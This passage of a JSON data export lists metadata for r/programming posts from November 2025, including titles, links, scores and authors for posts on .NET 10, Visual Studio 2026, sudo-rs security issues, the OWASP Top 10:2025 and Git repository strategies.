  "author": "mariuz",
  "subreddit": "programming",
  "score": 977,
  "upvoteRatio": 0.93,
  "numComments": 269,
  "createdAt": "2025-11-12T17:36:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/visualstudio/visual-studio-2026-is-here-faster-smarter-and-a-hit-with-early-adopters/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ov39fq",
  "url": "https://www.phoronix.com/news/sudo-rs-security-ubuntu-25.10",
  "permalink": "https://www.reddit.com/r/programming/comments/1ov39fq/two_security_issues_were_discovered_in_sudors_a/",
  "title": "Two security issues were discovered in sudo-rs, a Rust-based implementation of sudo",
  "body": null,
  "author": "brutal_seizure",
  "subreddit": "programming",
  "score": 546,
  "upvoteRatio": 0.95,
  "numComments": 180,
  "createdAt": "2025-11-12T12:00:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/sudo-rs-security-ubuntu-25.10",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ov0zsd",
  "url": "https://programmers.fyi/debugging-ai-hallucination",
  "permalink": "https://www.reddit.com/r/programming/comments/1ov0zsd/debugging_ai_hallucination_how_exactly_models/",
  "title": "Debugging AI Hallucination: How Exactly Models Make Things Up",
  "body": null,
  "author": "derjanni",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.62,
  "numComments": 18,
  "createdAt": "2025-11-12T09:46:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmers.fyi/debugging-ai-hallucination",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oui93h",
  "url": "https://lukasniessen.medium.com/infrastructure-as-code-is-a-must-have-b44acff0813d",
  "permalink": "https://www.reddit.com/r/programming/comments/1oui93h/infrastructure_as_code_is_a_must_have/",
  "title": "Infrastructure as Code is a MUST have",
  "body": null,
  "author": "trolleid",
  "subreddit": "programming",
  "score": 299,
  "upvoteRatio": 0.86,
  "numComments": 95,
  "createdAt": "2025-11-11T19:04:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lukasniessen.medium.com/infrastructure-as-code-is-a-must-have-b44acff0813d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oucyr5",
  "url": "https://devblogs.microsoft.com/dotnet/announcing-dotnet-10/",
  "permalink": "https://www.reddit.com/r/programming/comments/1oucyr5/announcing_net_10/",
  "title": "Announcing .NET 10",
  "body": "Full release of .NET 10 (LTS) is here",
  "author": "Atulin",
  "subreddit": "programming",
  "score": 502,
  "upvoteRatio": 0.92,
  "numComments": 193,
  "createdAt": "2025-11-11T15:51:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/dotnet/announcing-dotnet-10/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oua7r8",
  "url": "https://medium.com/@sebastiancarlos/the-powershell-manifesto-radicalized-me-0959d0d86b9d",
  "permalink": "https://www.reddit.com/r/programming/comments/1oua7r8/the_powershell_manifesto_radicalized_me/",
  "title": "The PowerShell Manifesto Radicalized Me",
  "body": null,
  "author": "deepCelibateValue",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 28,
  "createdAt": "2025-11-11T14:01:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@sebastiancarlos/the-powershell-manifesto-radicalized-me-0959d0d86b9d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1otvcos",
  "url": "https://www.youtube.com/watch?v=yQykvrAR_po",
  "permalink": "https://www.reddit.com/r/programming/comments/1otvcos/happy_30th_birthday_to_windows_task_manager/",
  "title": "Happy 30th Birthday to Windows Task Manager. Thanks to Dave Plummer for this little program. Please no one call the man.",
  "body": null,
  "author": "MrFrode",
  "subreddit": "programming",
  "score": 110,
  "upvoteRatio": 0.7,
  "numComments": 48,
  "createdAt": "2025-11-11T00:42:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=yQykvrAR_po",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ots577",
  "url": "https://l.perspectiveship.com/re-trcf",
  "permalink": "https://www.reddit.com/r/programming/comments/1ots577/the_root_cause_fallacy_systems_fail_for_multiple/",
  "title": "The Root Cause Fallacy: Systems fail for multiple reasons, not one",
  "body": null,
  "author": "dmp0x7c5",
  "subreddit": "programming",
  "score": 362,
  "upvoteRatio": 0.9,
  "numComments": 72,
  "createdAt": "2025-11-10T22:29:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://l.perspectiveship.com/re-trcf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1otedjr",
  "url": "https://www.phoronix.com/news/Linux-6.19-Patch-Would-MS-Ext",
  "permalink": "https://www.reddit.com/r/programming/comments/1otedjr/the_linux_kernel_looks_to_bite_the_bullet_in/",
  "title": "The Linux Kernel Looks To \"Bite The Bullet\" In Enabling Microsoft C Extensions",
  "body": null,
  "author": "waozen",
  "subreddit": "programming",
  "score": 441,
  "upvoteRatio": 0.91,
  "numComments": 91,
  "createdAt": "2025-11-10T13:54:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/Linux-6.19-Patch-Would-MS-Ext",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1otd0t3",
  "url": "https://medium.com/@tobrien/leaving-the-cloud-isnt-for-everyone-b6520d55c41f",
  "permalink": "https://www.reddit.com/r/programming/comments/1otd0t3/leaving_the_cloud_isnt_for_everyone/",
  "title": "Leaving the Cloud Isn't for Everyone",
  "body": null,
  "author": "tonystubblebine",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 9,
  "createdAt": "2025-11-10T12:56:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@tobrien/leaving-the-cloud-isnt-for-everyone-b6520d55c41f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1otc68t",
  "url": "https://www.systemdesignbutsimple.com/p/how-to-store-passwords-in-your-database",
  "permalink": "https://www.reddit.com/r/programming/comments/1otc68t/how_to_store_passwords_in_your_database/",
  "title": "How to store passwords in your database",
  "body": null,
  "author": "stmoreau",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 16,
  "createdAt": "2025-11-10T12:14:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.systemdesignbutsimple.com/p/how-to-store-passwords-in-your-database",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ot8hzw",
  "url": "https://open.substack.com/pub/weeklyrust/p/windows-arm-goes-tier-1?r=327yzu&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
  "permalink": "https://www.reddit.com/r/programming/comments/1ot8hzw/windows_arm_goes_tier_1/",
  "title": "🦀 Windows ARM Goes Tier 1",
  "body": null,
  "author": "web3writer",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.55,
  "numComments": 12,
  "createdAt": "2025-11-10T08:30:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/weeklyrust/p/windows-arm-goes-tier-1?r=327yzu&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ostz5x",
  "url": "https://owasp.org/Top10/2025/0x00_2025-Introduction/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ostz5x/the_owasp_top_102025_is_out_we_have_new_data_and/",
  "title": "The OWASP Top 10:2025 is out! We have new data and new risks, but the same goal: more secure software",
  "body": "Here’s what’s new/notable since the 2021 version:\n\n* **A01 Broken Access Control** → still #1. The most common cause of serious breaches.\n* **A02 Security Misconfiguration** → moved up, because configuration errors are still everywhere.\n* **A03 Software Supply Chain Failures** → expanded beyond dependencies! Your build tools, pipelines, containers, even package registries are now part of the threat model.\n* **A10 Mishandling of Exceptional Conditions** → a brand new category reminding us that error handling is extremely important.",
  "author": "shehackspurple",
  "subreddit": "programming",
  "score": 240,
  "upvoteRatio": 0.95,
  "numComments": 16,
  "createdAt": "2025-11-09T20:34:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://owasp.org/Top10/2025/0x00_2025-Introduction/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1osotbc",
  "url": "https://nek12.dev/blog/en/i-achieved-0-anr-in-my-android-app-spilling-beans-on-how-i-did-it-part-1",
  "permalink": "https://www.reddit.com/r/programming/comments/1osotbc/i_achieved_0_anr_in_my_android_app_spilling_beans/",
  "title": "I achieved 0% ANR in my Android app. Spilling beans on how I did it - part 1",
  "body": null,
  "author": "Nek_12",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 4,
  "createdAt": "2025-11-09T17:13:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nek12.dev/blog/en/i-achieved-0-anr-in-my-android-app-spilling-beans-on-how-i-did-it-part-1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1osgpzx",
  "url": "https://ponderwall.com/index.php/2025/11/09/unix-lost-tape/",
  "permalink": "https://www.reddit.com/r/programming/comments/1osgpzx/a_lost_tape_of_unix_fourth_edition_has_been/",
  "title": "A Lost Tape of Unix Fourth Edition Has Been Rediscovered After 50+ Years",
  "body": null,
  "author": "Akkeri",
  "subreddit": "programming",
  "score": 241,
  "upvoteRatio": 0.96,
  "numComments": 9,
  "createdAt": "2025-11-09T11:08:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ponderwall.com/index.php/2025/11/09/unix-lost-tape/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1osen4t",
  "url": "https://levelup.gitconnected.com/monorepo-vs-multi-repo-vs-git-submodule-vs-git-subtree-a-complete-guide-for-developers-961535aa6d4c?sk=f78b740c4afbf7e0584eac0c2bc2ed2a",
  "permalink": "https://www.reddit.com/r/programming/comments/1osen4t/git_monorepo_vs_multirepo_vs_submodules_vs/",
  "title": "Git Monorepo vs Multi-repo vs Submodules vs subtrees : Explained",
  "body": "I have seen a lot of debates about whether teams should keep everything in one repo or split things up.\n\nRecently, I joined a new team where the schedulers, the API code, the kafka consumers and publishers were all in one big monorepos. This led me to understand various option available in GIT, so I went down the rabbit hole to understand monorepos, multi-repos, Git submodules, and even subtrees.\n\nEnded up writing a short piece explaining how they actually work, why teams pick one over another, and where each approach starts to hurt.",
  "author": "sshetty03",
  "subreddit": "programming",
  "score": 542,
  "upvoteRatio": 0.94,
  "numComments": 198,
  "createdAt": "2025-11-09T08:59:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://levelup.gitconnected.com/monorepo-vs-multi-repo-vs-git-submodule-vs-git-subtree-a-complete-guide-for-developers-961535aa6d4c?sk=f78b740c4afbf7e0584eac0c2bc2ed2a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1os6vf7",
  "url": "https://yini-lang.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/1os6vf7/new_homepage_for_yini_is_now_up_live_a_modern/",
  "title": "New homepage for YINI is now up live! — a modern, structured config format",
  "body": "A brand new homepage for the YINI config format has just been launched — a modern configuration format in the works that bridges the gap between the simplicity of INI and the expressiveness of YAML, and even more.",
  "author": "Effective_Tune_6830",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 18,
  "createdAt": "2025-11-09T01:49:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yini-lang.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1os1e0z",
  "url": "https://youtu.be/DDvaYOFAHvc",
  "permalink": "https://www.reddit.com/r/programming/comments/1os1e0z/protobuf_vs_json_vs_avro_serialization_explained/",
  "title": "Protobuf vs JSON vs Avro: Serialization Explained",
  "body": null,
  "author": "Helpful_Geologist430",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 35,
  "createdAt": "2025-11-08T21:42:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/DDvaYOFAHvc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1orsv5i",
  "url": "https://elijahpotter.dev/articles/improving-rust-compile-times-by-71-percent",
  "permalink": "https://www.reddit.com/r/programming/comments/1orsv5i/improving_rust_compile_times_by_71/",
  "title": "Improving Rust Compile Times By 71%",
  "body": null,
  "author": "ChiliPepperHott",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 23,
  "createdAt": "2025-11-08T15:55:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://elijahpotter.dev/articles/improving-rust-compile-times-by-71-percent",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ornjf8",
  "url": "https://lukasniessen.medium.com/this-is-a-detailed-breakdown-of-a-fintech-project-from-my-consulting-career-9ec61603709c",
  "permalink": "https://www.reddit.com/r/programming/comments/1ornjf8/this_is_a_detailed_breakdown_of_a_fintech_project/",
  "title": "This is a detailed breakdown of a FinTech project from my consulting career",
  "body": null,
  "author": "trolleid",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.65,
  "numComments": 1,
  "createdAt": "2025-11-08T11:52:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lukasniessen.medium.com/this-is-a-detailed-breakdown-of-a-fintech-project-from-my-consulting-career-9ec61603709c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1orkvab",
  "url": "https://daymare.net/blogs/voxel-engine-in-a-weekend/",
  "permalink": "https://www.reddit.com/r/programming/comments/1orkvab/if_youve_ever_wanted_to_make_a_voxel_engine_heres/",
  "title": "If you've ever wanted to make a Voxel Engine, here's how to do it this weekend",
  "body": "If you've ever wanted to get into Voxel Engines, here's your pass. I spent the entirety of this summer working with voxel engines and noticed that there really isn't a good entry point. \n\nSo here I am, hopefully it'll help at the very least one person get interested in voxels",
  "author": "Commission-Either",
  "subreddit": "programming",
  "score": 296,
  "upvoteRatio": 0.95,
  "numComments": 19,
  "createdAt": "2025-11-08T09:08:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daymare.net/blogs/voxel-engine-in-a-weekend/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oqw6f0",
  "url": "https://youtu.be/qv_-8zWLfuE",
  "permalink": "https://www.reddit.com/r/programming/comments/1oqw6f0/learning_machine_learning_for_beginners/",
  "title": "Learning machine learning for beginners",
  "body": "Is anyone here interested in learning machine learning ?",
  "author": "Civil-Affect1416",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 3,
  "createdAt": "2025-11-07T14:41:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/qv_-8zWLfuE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oqve6f",
  "url": "https://codemanship.wordpress.com/2025/11/07/is-software-the-ufology-of-engineering-disciplines/",
  "permalink": "https://www.reddit.com/r/programming/comments/1oqve6f/is_software_the_ufology_of_engineering_disciplines/",
  "title": "Is Software The UFOlogy of Engineering Disciplines?",
  "body": null,
  "author": "BLochmann",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 8,
  "createdAt": "2025-11-07T14:09:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codemanship.wordpress.com/2025/11/07/is-software-the-ufology-of-engineering-disciplines/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oqsoar",
  "url": "https://youtu.be/WfxD_NwNVO4",
  "permalink": "https://www.reddit.com/r/programming/comments/1oqsoar/why_counter_strike_netcode_rubber_bands_you_to/",
  "title": "Why Counter Strike Netcode Rubber Bands You to Death",
  "body": "Interesting presentation on why rubber banding happens. But as someone pointed out in the comments, the character in his mini demo should freeze completely when packet loss goes 100%. Would also be interesting to see server side rewinding methods, or comparing old cs netcode with modern netcode to see what really changed over the years.",
  "author": "bulltrapking",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.66,
  "numComments": 3,
  "createdAt": "2025-11-07T12:08:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/WfxD_NwNVO4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oqs6j4",
  "url": "https://nek12.dev/blog/en/how-i-built-a-game-engine-using-mvi-in-kotlin-and-avoided-getting-fired",
  "permalink": "https://www.reddit.com/r/programming/comments/1oqs6j4/how_i_built_a_game_engine_using_mvi_in_kotlin_and/",
  "title": "How I built a game engine using MVI in Kotlin and avoided getting fired",
  "body": null,
  "author": "Nek_12",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 13,
  "createdAt": "2025-11-07T11:41:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nek12.dev/blog/en/how-i-built-a-game-engine-using-mvi-in-kotlin-and-avoided-getting-fired",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oqjfki",
  "url": "https://youtu.be/fGZpaqMha0o",
  "permalink": "https://www.reddit.com/r/programming/comments/1oqjfki/6_reasons_to_write_software_in_latin/",
  "title": "6 Reasons to Write Software in Latin",
  "body": null,
  "author": "RickyRister",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 6,
  "createdAt": "2025-11-07T03:10:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/fGZpaqMha0o",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oqddfg",
  "url": "https://www.sicpers.info/2025/11/when-did-people-favor-composition-over-inheritance/",
  "permalink": "https://www.reddit.com/r/programming/comments/1oqddfg/when_did_people_favor_composition_over_inheritance/",
  "title": "When did people favor composition over inheritance?",
  "body": "TL;DR: The post says it came from trying to make code reuse safer and more flexible. Deep inheritance is difficult to reason with. I think shared state is the real problem since inheritance without state is usually fine.",
  "author": "AWildMonomAppears",
  "subreddit": "programming",
  "score": 271,
  "upvoteRatio": 0.9,
  "numComments": 240,
  "createdAt": "2025-11-06T22:41:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.sicpers.info/2025/11/when-did-people-favor-composition-over-inheritance/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1opv75r",
  "url": "https://gist.github.com/cpursley/c8fb81fe8a7e5df038158bdfe0f06dbb",
  "permalink": "https://www.reddit.com/r/programming/comments/1opv75r/postgres_is_enough/",
  "title": "Postgres is Enough",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 298,
  "upvoteRatio": 0.83,
  "numComments": 270,
  "createdAt": "2025-11-06T10:15:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/cpursley/c8fb81fe8a7e5df038158bdfe0f06dbb",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1opbziq",
  "url": "https://eavan.blog/posts/implement-an-slo.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1opbziq/please_implement_this_simple_slo/",
  "title": "Please Implement This Simple SLO",
  "body": "In all the companies I've worked for, engineers have treated SLOs as a simple and boring task. There are, however, many ways that you could do it, and they all have trade-offs.  \nI wrote this satirical piece to illustrate the underappreciated art of writing good SLOs.",
  "author": "IEavan",
  "subreddit": "programming",
  "score": 298,
  "upvoteRatio": 0.83,
  "numComments": 120,
  "createdAt": "2025-11-05T19:07:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://eavan.blog/posts/implement-an-slo.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1onsezc",
  "url": "https://youtu.be/cXhr5e58fio?si=LcwjubeFn8Jjkzbq",
  "permalink": "https://www.reddit.com/r/programming/comments/1onsezc/how_docker_containers_work_under_the_hood/",
  "title": "How Docker Containers Work Under the Hood",
  "body": null,
  "author": "Helpful_Geologist430",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.56,
  "numComments": 2,
  "createdAt": "2025-11-03T23:59:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/cXhr5e58fio?si=LcwjubeFn8Jjkzbq",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1onhysn",
  "url": "https://frederickvanbrabant.com/blog/2025-10-31-architectural-debt-is-not-just-technical-debt/",
  "permalink": "https://www.reddit.com/r/programming/comments/1onhysn/architectural_debt_is_not_just_technical_debt/",
  "title": "Architectural debt is not just technical debt",
  "body": "This week I wrote about my experiences with technical and architectural debt. When I was a developer we used to distinguish between code debt (temporary hacks) and architectural debt (structural decisions that bite you later). But in enterprise architecture, it goes way beyond technical implementation.\n\nTo me architectural debt is found on all layers.\n\nApplication/Infrastructure layer: This is about integration patterns, system overlap, and vendor lock-in. Not the code itself, but how applications interact with each other. Debt here directly hits operations through increased costs and slower delivery.\n\nBusiness layer: This covers ownership, stewardship, and process documentation. When business processes are outdated or phantom processes exist, people work under wrong assumptions. Projects start on the back foot before they even begin. Issues here multiply operational problems.\n\nStrategy layer: The most damaging level. If your business capability maps are outdated or misaligned, you're basing 3-5 year strategies on wrong assumptions. This blocks transformation and can make bad long-term strategy look appealing.",
  "author": "GeneralZiltoid",
  "subreddit": "programming",
  "score": 361,
  "upvoteRatio": 0.95,
  "numComments": 40,
  "createdAt": "2025-11-03T17:26:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://frederickvanbrabant.com/blog/2025-10-31-architectural-debt-is-not-just-technical-debt/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1on9pu5",
  "url": "https://alfy.blog/2025/10/31/your-url-is-your-state.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1on9pu5/your_url_is_your_state/",
  "title": "Your URL Is Your State",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 300,
  "upvoteRatio": 0.92,
  "numComments": 88,
  "createdAt": "2025-11-03T11:52:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alfy.blog/2025/10/31/your-url-is-your-state.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1on6gtd",
  "url": "https://cr.yp.to/2025/fil-c.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1on6gtd/notes_by_djb_on_using_filc_2025/",
  "title": "Notes by djb on using Fil-C (2025)",
  "body": null,
  "author": "fiskfisk",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.56,
  "numComments": 11,
  "createdAt": "2025-11-03T08:31:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cr.yp.to/2025/fil-c.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1omvpfr",
  "url": "https://youtu.be/LW3xRESuh4M?si=trln3NZSoSkGUPel",
  "permalink": "https://www.reddit.com/r/programming/comments/1omvpfr/kent_beck_on_why_code_reviews_are_broken_and_how/",
  "title": "Kent Beck on Why Code Reviews Are Broken (and How to Fix Them)",
  "body": null,
  "author": "South-Reception-1251",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 2,
  "createdAt": "2025-11-02T23:02:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/LW3xRESuh4M?si=trln3NZSoSkGUPel",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1omlgkd",
  "url": "https://leetarxiv.substack.com/p/the-annotated-diffusion-transformer",
  "permalink": "https://www.reddit.com/r/programming/comments/1omlgkd/the_annotated_diffusion_transformer/",
  "title": "The Annotated Diffusion Transformer",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 1,
  "createdAt": "2025-11-02T16:16:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/the-annotated-diffusion-transformer",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
